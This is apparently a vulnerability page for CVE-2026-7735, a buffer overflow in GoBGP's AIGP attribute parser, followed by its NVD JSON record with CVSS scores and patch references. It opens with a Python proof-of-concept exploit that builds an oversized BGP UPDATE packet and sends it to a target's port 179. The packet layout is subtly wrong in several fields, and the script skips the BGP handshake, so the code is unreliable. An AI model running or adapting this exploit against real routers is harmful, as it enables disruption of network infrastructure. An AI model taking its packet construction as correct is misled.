CVE-2026-7735

import socket import struct # Conceptual PoC for CVE-2026-7735 # This script attempts to trigger the buffer overflow in GoBGP AIGP parser. # Note: Actual exploitation requires specific packet crafting based on the vulnerable parser logic. def create_malicious_bgp_packet(): # BGP Marker (16 bytes) marker = b'\xff' * 16 # BGP Length (2 bytes) - Placeholder length = b'\x00\x00' # BGP Type (2 bytes) - UPDATE Message (2) msg_type = b'\x00\x02' # Construct malicious AIGP Attribute # AIGP Type (2 bytes) = 26 (0x001A) # Length (2 bytes) - Set to a large value to potentially trigger overflow # Data - Padding aigp_type = struct.pack('!H', 26) # Vulnerability likely lies in how Length is handled relative to the buffer aigp_len = struct.pack('!H', 0xFFFF) # Max length aigp_data = b'A' * 0xFFFF # Large payload # Path Attributes (Simplified for PoC context) # Flags (1 byte), Type Code (1 byte), Length (2 bytes), Value flags = 0xC0 # Optional, Transitive path_attr = struct.pack('!B', flags) + aigp_type + aigp_len + aigp_data # Construct full message parts (simplified) payload = msg_type + path_attr # Update Length field total_len = len(marker) + 2 + len(payload) length = struct.pack('!H', total_len) return marker + length + payload def send_exploit(target_ip, target_port=179): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Note: Real BGP handshake is required before sending UPDATE # This PoC demonstrates the packet structure generation packet = create_malicious_bgp_packet() s.send(packet) print(f"[*] Malicious packet sent to {target_ip}:{target_port}") except Exception as e: print(f"[!] Error: {e}") finally: s.close() # Usage (Uncomment to test) # send_exploit("192.168.1.100")

{"cve": {"id": "CVE-2026-7735", "sourceIdentifier": "[email protected]", "published": "2026-05-04T06:16:02.367", "lastModified": "2026-05-06T20:27:05.880", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was found in osrg GoBGP up to 4.3.0. Affected is the function PathAttributeAigp.DecodeFromBytes of the file pkg/packet/bgp/bgp.go of the component AIGP Attribute Parser. Performing a manipulation results in buffer overflow. It is possible to initiate the attack remotely. Upgrading to version 4.4.0 is able to address this issue. The patch is named 51ad1ada06cb41ce47b7066799981816f50b7ced. The affected component should be upgraded."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-120"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:osrg:gobgp:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.4.0", "matchCriteriaId": "05DBB6FD-F3CD-4BF0-A573-D1E87307A50F"}]}]}], "references": [{"url": "https://github.com/osrg/gobgp/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/osrg/gobgp/commit/51ad1ada06cb41ce47b7066799981816f50b7ced", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/osrg/gobgp/releases/tag/v4.4.0", "source": "[email protected]", "tags": ["Patch", "Product"]}, {"url": "https://vuldb.com/submit/807600", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/vuln/360910", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/vuln/360910/cti", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}]}}